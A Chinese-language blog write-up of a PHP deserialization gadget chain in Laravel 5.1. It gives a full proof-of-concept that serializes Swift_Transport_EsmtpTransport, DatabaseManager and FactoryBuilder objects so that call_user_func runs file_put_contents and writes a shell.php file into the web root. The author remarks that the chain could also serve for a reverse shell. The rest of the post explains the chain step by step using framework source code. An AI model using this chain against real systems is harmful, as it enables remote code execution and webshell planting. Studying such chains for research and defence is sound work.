一条laravel5.1的链子

  1. 1. poc
  2. 2. poc分析。
  3. 3. 一些细节
  4. 4. 总结

## 前言
挖一整天才挖出这一条,主要是钻牛角尖了,逮着一个地方使劲找链子。

poc

先放poc吧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
<?php

namespace Illuminate\Database\Eloquent {
class FactoryBuilder
{
protected $definitions;
protected $name;
protected $class;
protected $faker;
public function __construct(){
$this->name='fmyyy';
$this->class='fmyyy';
$this->faker = '/usr/local/var/www/la5.1/public/shell.php';
$this->definitions = array('fmyyy'=>array('fmyyy'=>'file_put_contents'));
}
}
}

namespace Illuminate\Database{
use Illuminate\Database\Eloquent\FactoryBuilder;
class DatabaseManager{
protected $app;
protected $factory;
public function __construct()
{
$this->factory = new FactoryBuilder();
$this->app = array('config'=>array('database.default'=>'fmyyy','database.connections'=>array('fmyyy'=>array('driver'=>'<?=phpinfo();?>'))));
}
}
}

namespace {

use Illuminate\Database\DatabaseManager;
class Swift_Transport_EsmtpTransport
{
private $_handlers;
protected $_started = true;
protected $_eventDispatcher;

public function __construct()
{
$this->_eventDispatcher = new DatabaseManager();
}
}
echo urlencode(serialize(new Swift_Transport_EsmtpTransport()));
}

poc分析。

我找的destruct方法是Swift_Transport_AbstractSmtpTransport类的
看一下他做了什么。
在这里插入图片描述

调用了该类的stop方法 看一下stop
在这里插入图片描述

箭头这里可以触发__call方法,之后找__call就可以了。
但这个类是一个抽象类,所以用他的子类Swift_Transport_EsmtpTransport。

之后是找__call方法。
我找到的是DatabaseManager类,看一下他的__call方法。
在这里插入图片描述

调用了该类的connection方法,看一下这个方法。
在这里插入图片描述

重点在于$this->makeConnection方法
在这里插入图片描述

可以看到最下面可以调用任意类的make方法。
但其实这里本身就有call_user_func方法,但这里的没办法利用,这个等一下说原因。
全局找make方法。
最后在FactoryBuilder里
在这里插入图片描述

该类的make调用了makeInstance
再看看makeInstance

可以看到call_user_func了,并且参数全可控。所以我们的链子就通了
在这里插入图片描述

一些细节

解答一下之前makeConnection方法里的call_user_func为啥不能用。我们看一下他的参数。

1
call_user_func($this->extensions[$name], $config, $name)

第一个参数extensions[$name]是可控的,没有问题,关键是第二个config参数,看一下这个参数是怎么来的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
protected function makeConnection($name)
{
$config = $this->getConfig($name);//这里来的
// First we will check by the connection name to see if an extension has been
// registered specifically for that connection. If it has we will call the
// Closure and pass it the config allowing it to resolve the connection.
if (isset($this->extensions[$name])) {
return call_user_func($this->extensions[$name], $config, $name);
}
$driver = $config['driver'];
// Next we will check to see if an extension has been registered for a driver
// and will call the Closure if so, which allows us to have a more generic
// resolver for the drivers themselves which applies to all connections.
if (isset($this->extensions[$driver])) {
return call_user_func($this->extensions[$driver], $config, $name);
}
return $this->factory->make($config, $name);
}

是该类的getConfig方法来的,看一下这个方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
protected function getConfig($name)
{

$name = $name ?: $this->getDefaultConnection();
// To get the database connection configuration, we will just pull each of the
// connection configurations and get the configurations for the given name.
// If the configuration doesn't exist, we'll throw an exception and bail.

$connections = $this->app['config']['database.connections'];

if (is_null($config = Arr::get($connections, $name))) {
throw new InvalidArgumentException("Database [$name] not configured.");
}
return $config;
}

return的值是Arr::get方法的返回值,看一下这个方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
public static function get($array, $key, $default = null)
{
if (is_null($key)) {
return $array;
}

if (isset($array[$key])) {
return $array[$key];
}

foreach (explode('.', $key) as $segment) {
if (! is_array($array) || ! array_key_exists($segment, $array)) {
return value($default);
}

$array = $array[$segment];
}

return $array;
}

可以看到,不管怎么样,返回的都是一个数组。
所以这个call_user_func不是很好利用。但应该也有利用的方法,我比较懒就找下面的了。而且正好我们FactoryBuilder里的make方法需要数组作为参数不然就会报错,所以这个config就很好的符合我们的要求
但最后的makeInstance方法,因为第三个参数是数组,在执行时会报错。所以时没有回显的,但可以反弹shell或者写文件。
我poc里构造的相当于

1
class="php">call_user_func('file_put_contents','/usr/local/var/www/la5.1/public/shell.php','array('<?=phpinfo();?>')')

总结

不算很好的链子,利用复杂,构造的参数也很严苛。